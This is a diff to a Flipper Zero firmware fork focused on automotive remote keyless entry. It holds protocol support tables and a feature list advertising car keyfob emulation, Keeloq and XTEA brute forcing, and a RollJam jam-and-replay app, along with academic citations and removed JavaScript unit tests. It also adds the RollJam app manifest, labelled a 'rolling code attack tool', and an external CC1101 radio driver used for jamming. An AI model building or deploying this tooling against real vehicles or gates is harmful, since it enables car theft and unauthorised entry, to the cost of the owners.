| Nice FLO | 433 MHz | AM | Yes | Yes | No |
| Nice FloR-S | 433 MHz | AM | Yes | Yes | Yes |
| CAME | 433/315 MHz | AM | Yes | Yes | No |
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
### General Static Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---:|:---:|:---:|:---:|
| Princeton | 433/315 MHz | AM | Yes | Yes |
| Linear | 315 MHz | AM | Yes | Yes |
| LinearDelta3 | 315 MHz | AM | Yes | Yes |
| GateTX | 433 MHz | AM | Yes | Yes |
| Security+ 1.0 | 315 MHz | AM | Yes | Yes |
| Security+ 2.0 | 315 MHz | AM | Yes | Yes |
| Chamberlain Code | 315 MHz | AM | Yes | Yes |
| MegaCode | 315 MHz | AM | Yes | Yes |
| Mastercode | 433 MHz | AM | Yes | Yes |
| Dickert MAHS | 433 MHz | AM | Yes | Yes |
| SMC5326 | 433 MHz | AM | Yes | Yes |
| Phoenix V2 | 433 MHz | AM | Yes | Yes |
| Doitrand | 433 MHz | AM | Yes | Yes |
| Hay21 | 433 MHz | AM | Yes | Yes |
| Revers RB2 | 433 MHz | AM | Yes | Yes |
| Roger | 433 MHz | AM | Yes | Yes |
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes |
| RAW | All | All | Yes | Yes |
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---:|:---:|:---:|:---:|:---:|
| Princeton | 433/315 MHz | AM | Yes | Yes | No |
| Linear | 315 MHz | AM | Yes | Yes | No |
| LinearDelta3 | 315 MHz | AM | Yes | Yes | No |
| GateTX | 433 MHz | AM | Yes | Yes | No |
| Security+ 1.0 | 315 MHz | AM | Yes | Yes | No |
| Security+ 2.0 | 315 MHz | AM | Yes | Yes | No |
| Chamberlain Code | 315 MHz | AM | Yes | Yes | No |
| MegaCode | 315 MHz | AM | Yes | Yes | No |
| Mastercode | 433 MHz | AM | Yes | Yes | No |
| Dickert MAHS | 433 MHz | AM | Yes | Yes | No |
| SMC5326 | 433 MHz | AM | Yes | Yes | No |
| Phoenix V2 | 433 MHz | AM | Yes | Yes | No |
| Doitrand | 433 MHz | AM | Yes | Yes | No |
| Hay21 | 433 MHz | AM | Yes | Yes | No |
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
| Roger | 433 MHz | AM | Yes | Yes | No |
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes | No |
| RAW | All | All | Yes | Yes | No |
---
@@ -116,25 +131,12 @@ Flipper-ARF aims to achieve:
---
## Implemented Protocols
- [x] Mazda Siemens Protocol (5WK49365D) — ported from open-source references (testing required)
- [x] Full VAG, Fiat, Ford, Subaru, Kia, PSA support
- [x] D-Pad mapping (Lock / Unlock / Boot / Trunk) during emulation
- [x] VAG MFKey support and updated Keeloq codes
- [x] PSA XTEA brute force for saved → emulation workflow
- [x] Brute force of counter in saved → emulation scene for smoother keyfob emulation
- [x] RollJam app (Internal CC1101 for RX & TX captured signal; External CC1101 for jamming) — requires more real-world testing
---
## To Do / Planned Features
- [ ] Keeloq Key Manager inside firmware
- [ ] Add Scher Khan & Starline protocols
- [ ] Fix and reintegrate RollJam app (future updates)
- [ ] Marelli BSI encoder and encryption
- [ ] Improve RollJam app
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
- [ ] Improve collaboration workflow to avoid overlapping work
---
@@ -175,7 +177,134 @@ Contributions are welcome if they:
> Non-automotive features are considered out-of-scope for now.
### This code is a mess!
![Talk is cheap, submit patches](arf_pictures/send_patches.jpeg)
![Talk is cheap, submit patches](arf_pictures/send_patches.jpeg)
---
## Citations & References
The following academic publications have been invaluable to the development and understanding of the protocols implemented in this firmware.
### Automotive RKE Security
- **Lock It and Still Lose It — On the (In)Security of Automotive Remote Keyless Entry Systems**
Flavio D. Garcia, David Oswald, Timo Kasper, Pierre Pavlidès
*USENIX Security 2016, pp. 929944*
DOI: [10.5555/3241094.3241166](https://doi.org/10.5555/3241094.3241166)
https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_garcia.pdf
- **Clonable Key Fobs: Analyzing and Breaking RKE Protocols**
Roberto Gesteira-Miñarro, Gregorio López, Rafael Palacios
*International Journal of Information Security, Springer, May 2025, 24(3)*
DOI: [10.1007/s10207-025-01063-7](https://doi.org/10.1007/s10207-025-01063-7)
- **The Role of Cryptographic Techniques in Remote Keyless Entry (RKE) Systems**
Jananga Chiran — Sri Lanka Institute of Information Technology
*November 2023*
DOI: [10.5281/zenodo.14677864](https://doi.org/10.5281/zenodo.14677864)
- **SoK: Stealing Cars Since Remote Keyless Entry Introduction and How to Defend From It**
Tommaso Bianchi, Alessandro Brighente, Mauro Conti, Edoardo Pavan — University of Padova / Delft University of Technology
*arXiv, 2025*
https://arxiv.org/pdf/2505.02713
- **Security of Automotive Systems**
Lennert Wouters, Benedikt Gierlichs, Bart Preneel
*Wiley, February 2025*
DOI: [10.1002/9781394351930.ch11](https://doi.org/10.1002/9781394351930.ch11)
### DST Cipher Family (DST40 / DST80)
- **Security Analysis of a Cryptographically-Enabled RFID Device**
Steve Bono, Matthew Green, Adam Stubblefield, Ari Juels, Avi Rubin, Michael Szydlo
*14th USENIX Security Symposium (USENIX Security '05)*
https://www.usenix.org/conference/14th-usenix-security-symposium/security-analysis-cryptographically-enabled-rfid-device
https://www.usenix.org/legacy/event/sec05/tech/bono/bono.pdf
- **Dismantling DST80-based Immobiliser Systems**
Lennert Wouters, Jan Van den Herrewegen, Flavio D. Garcia, David Oswald, Benedikt Gierlichs, Bart Preneel
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2020, Vol. 2020(2), pp. 99127*
DOI: [10.13154/tches.v2020.i2.99-127](https://doi.org/10.13154/tches.v2020.i2.99-127)
### KeeLoq Cryptanalysis
- **Cryptanalysis of the KeeLoq Block Cipher**
Andrey Bogdanov
*Cryptology ePrint Archive, Paper 2007/055; also presented at RFIDSec 2007*
https://eprint.iacr.org/2007/055
- **A Practical Attack on KeeLoq**
Sebastiaan Indesteege, Nathan Keller, Orr Dunkelman, Eli Biham, Bart Preneel
*EUROCRYPT 2008 (LNCS vol. 4965, pp. 118)*
DOI: [10.1007/978-3-540-78967-3_1](https://doi.org/10.1007/978-3-540-78967-3_1)
https://www.iacr.org/archive/eurocrypt2008/49650001/49650001.pdf
- **Algebraic and Slide Attacks on KeeLoq**
Nicolas T. Courtois, Gregory V. Bard, David Wagner
*FSE 2008 (LNCS vol. 5086, pp. 97115)*
DOI: [10.1007/978-3-540-71039-4_6](https://doi.org/10.1007/978-3-540-71039-4_6)
- **On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme**
Thomas Eisenbarth, Timo Kasper, Amir Moradi, Christof Paar, Mahmoud Salmasizadeh, Mohammad T. Manzuri Shalmani
*CRYPTO 2008 (LNCS vol. 5157, pp. 203220)*
DOI: [10.1007/978-3-540-85174-5_12](https://doi.org/10.1007/978-3-540-85174-5_12)
https://www.iacr.org/archive/crypto2008/51570204/51570204.pdf
- **Breaking KeeLoq in a Flash: On Extracting Keys at Lightning Speed**
Markus Kasper, Timo Kasper, Amir Moradi, Christof Paar
*AFRICACRYPT 2009 (LNCS vol. 5580, pp. 403420)*
DOI: [10.1007/978-3-642-02384-2_25](https://doi.org/10.1007/978-3-642-02384-2_25)
### Immobiliser & Transponder Cipher Attacks
- **Gone in 360 Seconds: Hijacking with Hitag2**
Roel Verdult, Flavio D. Garcia, Josep Balasch
*21st USENIX Security Symposium (USENIX Security '12), pp. 237252*
DOI: [10.5555/2362793.2362830](https://doi.org/10.5555/2362793.2362830)
https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final95.pdf
- **Dismantling Megamos Crypto: Wirelessly Lockpicking a Vehicle Immobilizer**
Roel Verdult, Flavio D. Garcia, Baris Ege
*Supplement to 22nd USENIX Security Symposium (USENIX Security '13/15), pp. 703718*
https://www.usenix.org/sites/default/files/sec15_supplement.pdf
- **Dismantling the AUT64 Automotive Cipher**
Christopher Hicks, Flavio D. Garcia, David Oswald
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2018, Vol. 2018(2), pp. 4669*
DOI: [10.13154/tches.v2018.i2.46-69](https://doi.org/10.13154/tches.v2018.i2.46-69)
### RFID & Protocol Analysis Tooling
- **A Toolbox for RFID Protocol Analysis**
Flavio D. Garcia
*IEEE International Conference on RFID, 2012*
DOI: [10.1109/rfid.2012.19](https://doi.org/10.1109/rfid.2012.19)
### Relay & Replay Attacks
- **Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars**
Aurélien Francillon, Boris Danev, Srdjan Čapkun
*NDSS 2011*
https://www.ndss-symposium.org/ndss2011/relay-attacks-on-passive-keyless-entry-and-start-systems-in-modern-cars/
- **Implementing and Testing RollJam on Software-Defined Radios**
*Università di Bologna (UNIBO), CRIS*
https://cris.unibo.it/handle/11585/999874
- **Enhanced Vehicular Roll-Jam Attack Using a Known Noise Source**
*Inaugural International Symposium on Vehicle Security & Privacy, January 2023*
DOI: [10.14722/vehiclesec.2023.23037](https://doi.org/10.14722/vehiclesec.2023.23037)
- **RollBack: A New Time-Agnostic Replay Attack Against the Automotive Remote Keyless Entry Systems**
Levente Csikor, Hoon Wei Lim, Jun Wen Wong, Soundarya Ramesh, Rohini Poolat Parameswarath, Mun Choon Chan
*Black Hat USA 2022; ACM Transactions on Cyber-Physical Systems, 2024*
DOI: [10.1145/3627827](https://doi.org/10.1145/3627827)
https://i.blackhat.com/USA-22/Thursday/US-22-Csikor-Rollback-A-New-Time-Agnostic-Replay-wp.pdf
- **Rolling-PWN Attack (Honda RKE Vulnerability)**
Kevin2600 (Haoqi Shan), Wesley Li — Star-V Lab
*Independent disclosure, 2022 (CVE-2021-46145)*
https://rollingpwn.github.io/rolling-pwn/
---
# Disclaimer

View File

@@ -222,13 +222,6 @@ App(
requires=["unit_tests"],
)
App(
appid="test_js",
sources=["tests/common/*.c", "tests/js/*.c"],
apptype=FlipperAppType.PLUGIN,
entry_point="get_api",
requires=["unit_tests", "js_app"],
)
App(
appid="test_strint",

View File

@@ -1,395 +0,0 @@
#include "../test.h" // IWYU pragma: keep
#include <furi.h>
#include <furi_hal.h>
#include <furi_hal_random.h>
#include <storage/storage.h>
#include <applications/system/js_app/js_thread.h>
#include <applications/system/js_app/js_value.h>
#include <stdint.h>
#define TAG "JsUnitTests"
#define JS_SCRIPT_PATH(name) EXT_PATH("unit_tests/js/" name ".js")
typedef enum {
JsTestsFinished = 1,
JsTestsError = 2,
} JsTestFlag;
typedef struct {
FuriEventFlag* event_flags;
FuriString* error_string;
} JsTestCallbackContext;
static void js_test_callback(JsThreadEvent event, const char* msg, void* param) {
JsTestCallbackContext* context = param;
if(event == JsThreadEventPrint) {
FURI_LOG_I("js_test", "%s", msg);
} else if(event == JsThreadEventError || event == JsThreadEventErrorTrace) {
context->error_string = furi_string_alloc_set_str(msg);
furi_event_flag_set(context->event_flags, JsTestsFinished | JsTestsError);
} else if(event == JsThreadEventDone) {
furi_event_flag_set(context->event_flags, JsTestsFinished);
}
}
static void js_test_run(const char* script_path) {
JsTestCallbackContext* context = malloc(sizeof(JsTestCallbackContext));
context->event_flags = furi_event_flag_alloc();
JsThread* thread = js_thread_run(script_path, js_test_callback, context);
uint32_t flags = furi_event_flag_wait(
context->event_flags, JsTestsFinished, FuriFlagWaitAny, FuriWaitForever);
if(flags & FuriFlagError) {
// getting the flags themselves should not fail
furi_crash();
}
FuriString* error_string = context->error_string;
js_thread_stop(thread);
furi_event_flag_free(context->event_flags);
free(context);
if(flags & JsTestsError) {
// memory leak: not freeing the FuriString if the tests fail,
// because mu_fail executes a return
//
// who cares tho?
mu_fail(furi_string_get_cstr(error_string));
}
}
MU_TEST(js_test_basic) {
js_test_run(JS_SCRIPT_PATH("basic"));
}
MU_TEST(js_test_math) {
js_test_run(JS_SCRIPT_PATH("math"));
}
MU_TEST(js_test_event_loop) {
js_test_run(JS_SCRIPT_PATH("event_loop"));
}
MU_TEST(js_test_storage) {
js_test_run(JS_SCRIPT_PATH("storage"));
}
static void js_value_test_compatibility_matrix(struct mjs* mjs) {
static const JsValueType types[] = {
JsValueTypeAny,
JsValueTypeAnyArray,
JsValueTypeAnyObject,
JsValueTypeFunction,
JsValueTypeRawPointer,
JsValueTypeInt32,
JsValueTypeDouble,
JsValueTypeString,
JsValueTypeBool,
};
mjs_val_t values[] = {
mjs_mk_undefined(),
mjs_mk_foreign(mjs, (void*)0xDEADBEEF),
mjs_mk_array(mjs),
mjs_mk_object(mjs),
mjs_mk_number(mjs, 123.456),
mjs_mk_string(mjs, "test", ~0, false),
mjs_mk_boolean(mjs, true),
};
// for proper matrix formatting and better readability
#define YES true
#define NO_ false
static const bool success_matrix[COUNT_OF(types)][COUNT_OF(values)] = {
// types:
{YES, YES, YES, YES, YES, YES, YES}, // any
{NO_, NO_, YES, NO_, NO_, NO_, NO_}, // array
{NO_, NO_, YES, YES, NO_, NO_, NO_}, // obj
{NO_, NO_, NO_, NO_, NO_, NO_, NO_}, // fn
{NO_, YES, NO_, NO_, NO_, NO_, NO_}, // ptr
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // int32
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // double
{NO_, NO_, NO_, NO_, NO_, YES, NO_}, // str
{NO_, NO_, NO_, NO_, NO_, NO_, YES}, // bool
//
//und ptr arr obj num str bool <- values
};
#undef NO_
#undef YES
for(size_t i = 0; i < COUNT_OF(types); i++) {
for(size_t j = 0; j < COUNT_OF(values); j++) {
const JsValueDeclaration declaration = {
.type = types[i],
.n_children = 0,
};
// we only care about the status, not the result. double has the largest size out of
// all the results
uint8_t result[sizeof(double)];
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
JsValueParseFlagNone,
&status,
&values[j],
result);
if((status == JsValueParseStatusOk) != success_matrix[i][j]) {
FURI_LOG_E(TAG, "type %zu, value %zu", i, j);
mu_fail("see serial logs");
}
}
}
}
static void js_value_test_literal(struct mjs* mjs) {
static const JsValueType types[] = {
JsValueTypeAny,
JsValueTypeAnyArray,
JsValueTypeAnyObject,
};
mjs_val_t values[] = {
mjs_mk_undefined(),
mjs_mk_array(mjs),
mjs_mk_object(mjs),
};
mu_assert_int_eq(COUNT_OF(types), COUNT_OF(values));
for(size_t i = 0; i < COUNT_OF(types); i++) {
const JsValueDeclaration declaration = {
.type = types[i],
.n_children = 0,
};
mjs_val_t result;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
JsValueParseFlagNone,
&status,
&values[i],
&result);
mu_assert_int_eq(JsValueParseStatusOk, status);
mu_assert(result == values[i], "wrong result");
}
}
static void js_value_test_primitive(
struct mjs* mjs,
JsValueType type,
const void* c_value,
size_t c_value_size,
mjs_val_t js_val) {
const JsValueDeclaration declaration = {
.type = type,
.n_children = 0,
};
uint8_t result[c_value_size];
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
JsValueParseFlagNone,
&status,
&js_val,
result);
mu_assert_int_eq(JsValueParseStatusOk, status);
if(type == JsValueTypeString) {
const char* result_str = *(const char**)&result;
mu_assert_string_eq(c_value, result_str);
} else {
mu_assert_mem_eq(c_value, result, c_value_size);
}
}
static void js_value_test_primitives(struct mjs* mjs) {
int32_t i32 = 123;
js_value_test_primitive(mjs, JsValueTypeInt32, &i32, sizeof(i32), mjs_mk_number(mjs, i32));
double dbl = 123.456;
js_value_test_primitive(mjs, JsValueTypeDouble, &dbl, sizeof(dbl), mjs_mk_number(mjs, dbl));
const char* str = "test";
js_value_test_primitive(
mjs, JsValueTypeString, str, strlen(str) + 1, mjs_mk_string(mjs, str, ~0, false));
bool boolean = true;
js_value_test_primitive(
mjs, JsValueTypeBool, &boolean, sizeof(boolean), mjs_mk_boolean(mjs, boolean));
}
static uint32_t
js_value_test_enum(struct mjs* mjs, const JsValueDeclaration* decl, const char* value) {
mjs_val_t str = mjs_mk_string(mjs, value, ~0, false);
uint32_t result;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs, JS_VALUE_PARSE_SOURCE_VALUE(decl), JsValueParseFlagNone, &status, &str, &result);
if(status != JsValueParseStatusOk) return 0;
return result;
}
static void js_value_test_enums(struct mjs* mjs) {
static const JsValueEnumVariant enum_1_variants[] = {
{"variant 1", 1},
{"variant 2", 2},
{"variant 3", 3},
};
static const JsValueDeclaration enum_1 = JS_VALUE_ENUM(uint32_t, enum_1_variants);
static const JsValueEnumVariant enum_2_variants[] = {
{"read", 4},
{"write", 8},
};
static const JsValueDeclaration enum_2 = JS_VALUE_ENUM(uint32_t, enum_2_variants);
mu_assert_int_eq(1, js_value_test_enum(mjs, &enum_1, "variant 1"));
mu_assert_int_eq(2, js_value_test_enum(mjs, &enum_1, "variant 2"));
mu_assert_int_eq(3, js_value_test_enum(mjs, &enum_1, "variant 3"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_1, "not a thing"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 1"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 2"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 3"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "not a thing"));
mu_assert_int_eq(4, js_value_test_enum(mjs, &enum_2, "read"));
mu_assert_int_eq(8, js_value_test_enum(mjs, &enum_2, "write"));
}
static void js_value_test_object(struct mjs* mjs) {
static const JsValueDeclaration int_decl = JS_VALUE_SIMPLE(JsValueTypeInt32);
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
static const JsValueEnumVariant enum_variants[] = {
{"variant 1", 1},
{"variant 2", 2},
{"variant 3", 3},
};
static const JsValueDeclaration enum_decl = JS_VALUE_ENUM(uint32_t, enum_variants);
static const JsValueObjectField fields[] = {
{"int", &int_decl},
{"str", &str_decl},
{"enum", &enum_decl},
};
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
mjs_val_t object = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, object) {
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
JS_FIELD("int", mjs_mk_number(mjs, 123));
JS_FIELD("enum", mjs_mk_string(mjs, "variant 2", ~0, false));
}
const char* result_str;
int32_t result_int;
uint32_t result_enum;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
JsValueParseFlagNone,
&status,
&object,
&result_int,
&result_str,
&result_enum);
mu_assert_int_eq(JsValueParseStatusOk, status);
mu_assert_string_eq("Helloooo!", result_str);
mu_assert_int_eq(123, result_int);
mu_assert_int_eq(2, result_enum);
}
static void js_value_test_default(struct mjs* mjs) {
static const JsValueDeclaration int_decl =
JS_VALUE_SIMPLE_W_DEFAULT(JsValueTypeInt32, int32_val, 123);
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
static const JsValueObjectField fields[] = {
{"int", &int_decl},
{"str", &str_decl},
};
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
mjs_val_t object = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, object) {
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
JS_FIELD("int", mjs_mk_undefined());
}
const char* result_str;
int32_t result_int;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
JsValueParseFlagNone,
&status,
&object,
&result_int,
&result_str);
mu_assert_string_eq("Helloooo!", result_str);
mu_assert_int_eq(123, result_int);
}
static void js_value_test_args_fn(struct mjs* mjs) {
static const JsValueDeclaration arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments args = JS_VALUE_ARGS(arg_list);
int32_t a, b, c;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &args, &a, &b, &c);
mu_assert_int_eq(123, a);
mu_assert_int_eq(456, b);
mu_assert_int_eq(-420, c);
}
static void js_value_test_args(struct mjs* mjs) {
mjs_val_t function = MJS_MK_FN(js_value_test_args_fn);
mjs_val_t result;
mjs_val_t args[] = {
mjs_mk_number(mjs, 123),
mjs_mk_number(mjs, 456),
mjs_mk_number(mjs, -420),
};
mu_assert_int_eq(
MJS_OK, mjs_apply(mjs, &result, function, MJS_UNDEFINED, COUNT_OF(args), args));
}
MU_TEST(js_value_test) {
struct mjs* mjs = mjs_create(NULL);
js_value_test_compatibility_matrix(mjs);
js_value_test_literal(mjs);
js_value_test_primitives(mjs);
js_value_test_enums(mjs);
js_value_test_object(mjs);
js_value_test_default(mjs);
js_value_test_args(mjs);
mjs_destroy(mjs);
}
MU_TEST_SUITE(test_js) {
MU_RUN_TEST(js_value_test);
MU_RUN_TEST(js_test_basic);
MU_RUN_TEST(js_test_math);
MU_RUN_TEST(js_test_event_loop);
MU_RUN_TEST(js_test_storage);
}
int run_minunit_test_js(void) {
MU_RUN_SUITE(test_js);
return MU_EXIT_CODE;
}
TEST_API_DEFINE(run_minunit_test_js)

View File

@@ -7,8 +7,6 @@
#include <rpc/rpc_i.h>
#include <flipper.pb.h>
#include <applications/system/js_app/js_thread.h>
#include <applications/system/js_app/js_value.h>
static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
API_METHOD(resource_manifest_reader_alloc, ResourceManifestReader*, (Storage*)),
@@ -34,21 +32,4 @@ static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
xQueueGenericSend,
BaseType_t,
(QueueHandle_t, const void* const, TickType_t, const BaseType_t)),
API_METHOD(
js_thread_run,
JsThread*,
(const char* script_path, JsThreadCallback callback, void* context)),
API_METHOD(js_thread_stop, void, (JsThread * worker)),
API_METHOD(js_value_buffer_size, size_t, (const JsValueParseDeclaration declaration)),
API_METHOD(
js_value_parse,
JsValueParseStatus,
(struct mjs * mjs,
const JsValueParseDeclaration declaration,
JsValueParseFlag flags,
mjs_val_t* buffer,
size_t buf_size,
mjs_val_t* source,
size_t n_c_vals,
...)),
API_VARIABLE(PB_Main_msg, PB_Main_msg_t)));

View File

@@ -0,0 +1,23 @@
App(
appid="rolljam",
name="RollJam",
apptype=FlipperAppType.MENUEXTERNAL,
entry_point="rolljam_app",
stack_size=4 * 1024,
fap_category="Sub-GHz",
fap_icon="rolljam.png",
fap_icon_assets="images",
fap_libs=["assets"],
fap_description="RollJam rolling code attack tool",
fap_author="@user",
fap_version="1.0",
fap_weburl="",
requires=[
"gui",
"subghz",
"notification",
"storage",
"dialogs",
],
provides=[],
)

View File

@@ -0,0 +1,568 @@
#include "rolljam_cc1101_ext.h"
#include <furi_hal_gpio.h>
#include <furi_hal_resources.h>
#include <furi_hal_cortex.h>
#include <furi_hal_power.h>
// ============================================================
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
// ============================================================
static bool otg_was_enabled = false;
static bool use_flux_capacitor = false;
void rolljam_ext_set_flux_capacitor(bool enabled) {
use_flux_capacitor = enabled;
}
static void rolljam_ext_power_on(void) {
otg_was_enabled = furi_hal_power_is_otg_enabled();
if(!otg_was_enabled) {
uint8_t attempts = 0;
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
furi_hal_power_enable_otg();
furi_delay_ms(10);
}
}
}
static void rolljam_ext_power_off(void) {
if(!otg_was_enabled) {
furi_hal_power_disable_otg();
}
}
// ============================================================
// GPIO Pins
// ============================================================
static const GpioPin* pin_mosi = &gpio_ext_pa7;
static const GpioPin* pin_miso = &gpio_ext_pa6;
static const GpioPin* pin_cs = &gpio_ext_pa4;
static const GpioPin* pin_sck = &gpio_ext_pb3;
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
static const GpioPin* pin_amp = &gpio_ext_pc3;
// ============================================================
// CC1101 Registers
// ============================================================
#define CC_IOCFG2 0x00
#define CC_IOCFG0 0x02
#define CC_FIFOTHR 0x03
#define CC_SYNC1 0x04
#define CC_SYNC0 0x05
#define CC_PKTLEN 0x06
#define CC_PKTCTRL1 0x07
#define CC_PKTCTRL0 0x08
#define CC_FSCTRL1 0x0B
#define CC_FSCTRL0 0x0C
#define CC_FREQ2 0x0D
#define CC_FREQ1 0x0E
#define CC_FREQ0 0x0F
#define CC_MDMCFG4 0x10
#define CC_MDMCFG3 0x11
#define CC_MDMCFG2 0x12
#define CC_MDMCFG1 0x13
#define CC_MDMCFG0 0x14
#define CC_DEVIATN 0x15
#define CC_MCSM1 0x17
#define CC_MCSM0 0x18
#define CC_FOCCFG 0x19
#define CC_AGCCTRL2 0x1B
#define CC_AGCCTRL1 0x1C
#define CC_AGCCTRL0 0x1D
#define CC_FREND0 0x22
#define CC_FSCAL3 0x23
#define CC_FSCAL2 0x24
#define CC_FSCAL1 0x25
#define CC_FSCAL0 0x26
#define CC_TEST2 0x2C
#define CC_TEST1 0x2D
#define CC_TEST0 0x2E
#define CC_PATABLE 0x3E
#define CC_TXFIFO 0x3F
#define CC_PARTNUM 0x30
#define CC_VERSION 0x31
#define CC_MARCSTATE 0x35
#define CC_TXBYTES 0x3A
#define CC_SRES 0x30
#define CC_SCAL 0x33
#define CC_STX 0x35
#define CC_SIDLE 0x36
#define CC_SFTX 0x3B
#define MARC_IDLE 0x01
#define MARC_TX 0x13
// ============================================================
// Bit-bang SPI
// ============================================================
static inline void spi_delay(void) {
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
__NOP(); __NOP(); __NOP(); __NOP();
}
static inline void cs_lo(void) {
furi_hal_gpio_write(pin_cs, false);
spi_delay(); spi_delay();
}
static inline void cs_hi(void) {
spi_delay();
furi_hal_gpio_write(pin_cs, true);
spi_delay(); spi_delay();
}
static bool wait_miso(uint32_t us) {
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
uint32_t s = DWT->CYCCNT;
uint32_t t = (SystemCoreClock / 1000000) * us;
while(furi_hal_gpio_read(pin_miso)) {
if((DWT->CYCCNT - s) > t) return false;
}
return true;
}
static uint8_t spi_byte(uint8_t tx) {
uint8_t rx = 0;
for(int8_t i = 7; i >= 0; i--) {
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
spi_delay();
furi_hal_gpio_write(pin_sck, true);
spi_delay();
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
furi_hal_gpio_write(pin_sck, false);
spi_delay();
}
return rx;
}
static uint8_t cc_strobe(uint8_t cmd) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
uint8_t s = spi_byte(cmd);
cs_hi();
return s;
}
static void cc_write(uint8_t a, uint8_t v) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a);
spi_byte(v);
cs_hi();
}
static uint8_t cc_read(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0x80);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static uint8_t cc_read_status(uint8_t a) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
spi_byte(a | 0xC0);
uint8_t v = spi_byte(0x00);
cs_hi();
return v;
}
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
cs_lo();
if(!wait_miso(5000)) { cs_hi(); return; }
spi_byte(a | 0x40);
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
cs_hi();
}
// ============================================================
// Helpers
// ============================================================
static bool cc_reset(void) {
cs_hi(); furi_delay_us(30);
cs_lo(); furi_delay_us(30);
cs_hi(); furi_delay_us(50);
cs_lo();
if(!wait_miso(10000)) { cs_hi(); return false; }
spi_byte(CC_SRES);
if(!wait_miso(100000)) { cs_hi(); return false; }
cs_hi();
furi_delay_ms(5);
FURI_LOG_I(TAG, "EXT: Reset OK");
return true;
}
static bool cc_check(void) {
uint8_t p = cc_read_status(CC_PARTNUM);
uint8_t v = cc_read_status(CC_VERSION);
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
return (v == 0x14 || v == 0x04 || v == 0x03);
}
static uint8_t cc_state(void) {
return cc_read_status(CC_MARCSTATE) & 0x1F;
}
static uint8_t cc_txbytes(void) {
return cc_read_status(CC_TXBYTES) & 0x7F;
}
static void cc_idle(void) {
cc_strobe(CC_SIDLE);
for(int i = 0; i < 500; i++) {
if(cc_state() == MARC_IDLE) return;
furi_delay_us(50);
}
}
static void cc_set_freq(uint32_t f) {
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
